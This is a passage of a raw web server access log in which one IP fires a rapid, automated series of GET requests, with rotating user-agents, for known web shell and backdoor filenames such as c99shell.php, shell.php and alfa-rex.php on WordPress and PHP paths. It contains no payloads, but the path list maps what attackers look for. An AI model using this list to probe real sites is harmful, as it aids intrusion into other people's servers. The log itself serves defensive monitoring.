301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /wp-includes/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /wp-includes/class-wp-scripts-query.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /wp-admin/js/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /wp-includes/ID3/module.audio-license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /wp-content/themes/classwithtostring.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /uploads/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /assets/js/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /assets/comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /wp-includes/class-wp-error-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /css/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /wp-includes/css/litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /images/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wp-includes/css/dist/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wp-includes/block-bindings/imagess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wp-content/plugins/pwnd/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wp-includes/default-filters-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /assets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /autoload_classmap/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wp-includes/Requests/Auth/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wp-admin/js/widgets/bless2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wp-includes/Text/Diff/Engine/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /.well-known/acme-challenge/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wp-includes/ID3/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wp-includes/customize/class-wp-customize-selective-refresh-library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /ms-users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wp-admin/js/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wp-includes/Requests/library/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wp-includes/interactivity-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /css/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wp-content/plugins/classic-editor/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wordpress/wp-admin/includes/admin-filters.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /assets/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /fm.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wp-content/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wp-includes/SimplePie/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wp-includes/log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime-num.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:22 +0300] "GET /wp-includes/assets/script-loader-react-refresh-entry.min-object.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:23 +0300] "GET /wp-includes/aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:23 +0300] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:23 +0300] "GET /uploads/c99shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.37.22 - - [13/Apr/2026:06:29:23 +0300] "GET /wp-content/themes/pridmag/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:23 +0300] "GET /uploads/lala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:23 +0300] "GET /wp-includes/IXR/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:23 +0300] "GET /wp-includes/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.37.22 - - [13/Apr/2026:06:29:23 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:23 +0300] "GET /top.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:23 +0300] "GET /wp-includes/css/dist/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:23 +0300] "GET /wp-includes/style-engine/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:23 +0300] "GET /wp-admin/css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:23 +0300] "GET /wp-content/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:23 +0300] "GET /wp-includes/template-less.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:23 +0300] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:23 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:23 +0300] "GET /wp-admin/css/colors/blue/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:23 +0300] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:23 +0300] "GET /wp-content/themes/twentytwentytwo/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:23 +0300] "GET /wp-admin/css/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:23 +0300] "GET /js/1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:23 +0300] "GET /wp-content/themes/twentytwentyfour/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:23 +0300] "GET /wp-includes/assets/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:24 +0300] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:24 +0300] "GET /backup/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:24 +0300] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:24 +0300] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:24 +0300] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:24 +0300] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:24 +0300] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:24 +0300] "GET /wp-includes/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:24 +0300] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:24 +0300] "GET /wp-includes/class-wp-theme-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:24 +0300] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:24 +0300] "GET /wp-content/plugins/core-plugin/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:24 +0300] "GET /wp-content/themes/twentytwentytwo/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:24 +0300] "GET /wp-includes/widgets/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:24 +0300] "GET /setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:24 +0300] "GET /wp-includes/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:24 +0300] "GET /wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:24 +0300] "GET /type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:24 +0300] "GET /wp-includes/block-bindings/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:24 +0300] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:25 +0300] "GET /wp-includes/theme-compat/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:25 +0300] "GET /wp-admin/maint/flex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:25 +0300] "GET /css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:25 +0300] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:25 +0300] "GET /files/shares/403ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:25 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:25 +0300] "GET /images/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:25 +0300] "GET /wp-content/themes/tflow/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:25 +0300] "GET /files.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:25 +0300] "GET /wp-includes/assets/system.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:25 +0300] "GET /wp-includes/l10n/class-wp-translations-library.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:25 +0300] "GET /wp-includes/block-bindings/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:25 +0300] "GET /images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.37.22 - - [13/Apr/2026:06:29:25 +0300] "GET /wp-content/plugins/linkpreview/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:25 +0300] "GET /wp-includes/customize/class-wp-customize-upload-control-cookie.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:25 +0300] "GET /wp-includes/ID3/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:25 +0300] "GET /wp-includes/class-wp-taxonomy-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:25 +0300] "GET /admin/assets/plugins/jQuery-File-Upload/server/php/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 